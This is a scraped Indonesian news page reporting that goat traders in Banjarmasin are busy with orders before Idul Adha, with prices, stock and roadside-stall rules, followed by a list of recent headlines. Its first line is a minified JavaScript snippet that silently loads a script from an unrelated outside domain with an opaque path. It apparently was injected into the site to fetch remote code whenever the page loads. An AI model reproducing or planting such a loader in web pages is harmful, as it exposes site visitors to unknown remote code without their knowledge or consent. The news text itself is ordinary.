(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Jelang Idul Adha, ‘Jurkam’ di Banjarmasin Sudah Panen Pesanan


BANJARMASIN, Menjelang Hari Raya Idul Adha, Juragan Kambing (Jurkam) di Kota Banjarmasin sudah dibanjiri banyak pesanan. Terlihat sudah puluhan ekor yang sudah dipesan oleh beberapa keluarga ataupun masjid dan langgar.

Jaffar, seorang Jurkam di Jalan Antasan Kecil atau masyarakat bisa menyebutnya dengan Kampung Arab sangat di banjiri orderan. Ia mengatakan, sudah sekitar 13 ekor kambing telah di pesan darinya. Hal ini disebabkan para pembeli takut kehabisan stok pada saat dekat Hari Raya Kurban yang jatuh  pada Rabu (22/8) nanti.

Padahal menurut Jaffar stok kambing di Banjarmasin masih tetap aman. Karena ia sendiri telah menyiapkan sekitar 150 ekor untuk stok hari raya. “Ada orang pesan namun masih ditaruh disini karena sekalian minta dirawat baru menjelang hari raya baru dibawa,” katanya.

Ditambahkannya, bahwa beberapa tahun lalu kampung tersebut tidak pernah kehabisan stock walaupun dari beberapa kota yang memesan kambing di sana. Karena kampung tersebut terdapat puluhan pedagang kambing dengan ratusan ekor yang dimiliki. “Kami tidak pernah di kehabisan stock hewan qurban dari beberapa tahun ini,” ungkapnya.

Harga yang dipatok dari satu ekor kambing sekitar Rp 1.700.000 sampai Rp 2.000.000, tergantung besarnya ukuran kambing. Harga pada tahun lalu tidak jauh berbeda hanya naik sekitar Rp 300.000 sampai Rp 500.000,- karena pakan dan obat-obatan mulai naik harganya. Biaya dari pengantaran hewan qurban ke tempat penyembelihan sekitar Rp 50.000,- sampai dengan Rp 300.000,- tergantung jauh dekatnya di sekitaran kota Banjarmasin.

Terkait dengan kandangan dadakan dipinggir jalan yang sering ditemukan jelang hari raya qurban, para pedangan dikampung arab, salah satunya Ibnu mengatakan akan dibuka di dekat daerah kampung arab saja tidak sampai memakan bahu jalan karena pada tahun yang lalu sering ditertibkan oleh Satpol PP. “Saya tidsk berani berjualan kalau memang langsung di bahu jalan,” ungkapnya.

Ditambahkannya, bahwa harga yang patok di pedagang di pinggir jalan berkisaran Rp 1.800.000,- sampai Rp 2.100.000,  per ekornya. Karena hal tersebut cuman menjadi jasa menjualkan saja untuk para pembeli yang malas ke pasar hewan yang ada di Kota Banjarmasin. “Kami nanti tidak jauh beda harganya, hanya bantu menjualkan saja,” ungkapnya.(ammar)

Reporter: Ammar
Editor: Chel

Desy Arfianty

Recent Posts

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

2 jam ago

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More

3 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

4 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

15 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

15 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

20 jam ago

This website uses cookies.